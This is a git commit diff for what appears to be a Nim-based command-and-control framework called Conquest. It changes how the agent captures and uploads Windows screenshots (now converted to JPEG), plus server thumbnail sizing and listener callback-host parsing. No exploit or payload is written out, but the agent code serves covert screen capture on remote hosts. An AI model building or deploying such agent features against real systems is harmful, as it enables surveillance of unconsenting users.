Made changes to screenshot handling.

This commit is contained in:
Jakob Friedl
2025-10-14 21:05:36 +02:00
parent 21137f6db5
commit df04eafc13
6 changed files with 32 additions and 15 deletions

View File

@@ -1,8 +1,6 @@
# Conquest default configuration file # Conquest default configuration file
name = "cq-default-profile" name = "cq-default-profile"
# Important file paths and locations # Important file paths and locations
private-key-file = "data/keys/conquest-server_x25519_private.key" private-key-file = "data/keys/conquest-server_x25519_private.key"
database-file = "data/conquest.db" database-file = "data/conquest.db"
@@ -11,7 +9,7 @@ database-file = "data/conquest.db"
[team-server] [team-server]
port = 37573 port = 37573
[server.users] [team-server.users]
# General agent settings # General agent settings

View File

@@ -5,7 +5,7 @@ import ../fonticon/IconsFontAwesome6
#-------------- #--------------
#--- zoomGlass #--- zoomGlass
#-------------- #--------------
proc zoomGlass*(textureID: var uint32, itemWidth:int, itemPosTop, itemPosEnd:ImVec2 , capture = false) = proc zoomGlass*(textureID: var uint32, itemWidth:int, itemPosTop, itemPosEnd:ImVec2 , capture = false, zoom: float = 4.0f) =
# itemPosTop and itemPosEnd are absolute position in main window. # itemPosTop and itemPosEnd are absolute position in main window.
if igBeginItemTooltip(): if igBeginItemTooltip():
defer: igEndTooltip() defer: igEndTooltip()
@@ -23,7 +23,6 @@ proc zoomGlass*(textureID: var uint32, itemWidth:int, itemPosTop, itemPosEnd:ImV
let region_sz = 32.0f let region_sz = 32.0f
var region_x = pio.MousePos.x - itemPosTop.x - region_sz * 0.5f var region_x = pio.MousePos.x - itemPosTop.x - region_sz * 0.5f
var region_y = pio.MousePos.y - itemPosTop.y - region_sz * 0.5f var region_y = pio.MousePos.y - itemPosTop.y - region_sz * 0.5f
let zoom = 4.0f
if region_x < 0.0f: if region_x < 0.0f:
region_x = 0.0f region_x = 0.0f
elif region_x > (my_tex_w - region_sz): elif region_x > (my_tex_w - region_sz):

View File

@@ -126,7 +126,7 @@ proc draw*(component: ScreenshotsComponent, showComponent: ptr bool, connection:
let texture = component.textures[item.path] let texture = component.textures[item.path]
igImage(ImTextureRef(internal_TexData: nil, internal_TexID: texture.textureId), vec2(texture.width, texture.height), vec2(0, 0), vec2(1, 1)) igImage(ImTextureRef(internal_TexData: nil, internal_TexID: texture.textureId), vec2(texture.width, texture.height), vec2(0, 0), vec2(1, 1))
else: else:
igText("Select item for preview.") igText("Select item for preview.")
igEndChild() igEndChild()

View File

@@ -104,6 +104,9 @@ proc draw*(component: ListenerModalComponent): UIListener =
else: else:
for host in callbackHosts.splitLines(): for host in callbackHosts.splitLines():
if host.isEmptyOrWhitespace():
continue
hosts &= ";" hosts &= ";"
let hostParts = host.split(":") let hostParts = host.split(":")
if hostParts.len() == 2: if hostParts.len() == 2:

View File

@@ -28,10 +28,28 @@ when defined(agent):
import winim/lean import winim/lean
import winim/inc/wingdi import winim/inc/wingdi
import strutils, strformat, times import strutils, strformat, times, pixie
import stb_image/write as stbiw
import ../agent/protocol/result import ../agent/protocol/result
import ../common/[utils, serialize] import ../common/[utils, serialize]
proc bmpToJpeg(data: seq[byte], quality: int = 80): seq[byte] =
let img: Image = decodeImage(Bytes.toString(data))
# Convert to JPEG image for smaller file size
var rgbaData = newSeq[byte](img.width * img.height * 4)
var i = 0
for y in 0..<img.height:
for x in 0..<img.width:
let color = img[x, y]
rgbaData[i] = color.r
rgbaData[i + 1] = color.g
rgbaData[i + 2] = color.b
rgbaData[i + 3] = color.a
i += 4
return stbiw.writeJPG(img.width, img.height, 4, rgbaData, quality)
proc takeScreenshot(): seq[byte] = proc takeScreenshot(): seq[byte] =
var var
@@ -140,8 +158,8 @@ when defined(agent):
echo protect(" [>] Taking and uploading screenshot.") echo protect(" [>] Taking and uploading screenshot.")
let let
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.bmp" screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"
screenshotBytes: seq[byte] = takeScreenshot() screenshotBytes: seq[byte] = bmpToJpeg(takeScreenshot())
var packer = Packer.init() var packer = Packer.init()

View File

@@ -146,15 +146,14 @@ proc sendBuildlogItem*(client: WsConnection, logType: LogType, message: string)
if client != nil: if client != nil:
client.ws.sendEvent(event, client.sessionKey) client.ws.sendEvent(event, client.sessionKey)
proc createThumbnail(data: string, maxWidth: int = 1024, quality: int = 90): string = proc createThumbnail(data: string, maxHeight: int = 1024, quality: int = 80): string =
let img: Image = decodeImage(data) let img: Image = decodeImage(data)
let aspectRatio = img.height.float / img.width.float
let
width = min(maxWidth, img.width)
height = int(width.float * aspectRatio)
# Resize image # Resize image
let aspectRatio = img.width.float / img.height.float
let
height = min(maxHeight, img.height)
width = int(height.float * aspectRatio)
let thumbnail = img.resize(width, height) let thumbnail = img.resize(width, height)
# Convert to JPEG image for smaller file size # Convert to JPEG image for smaller file size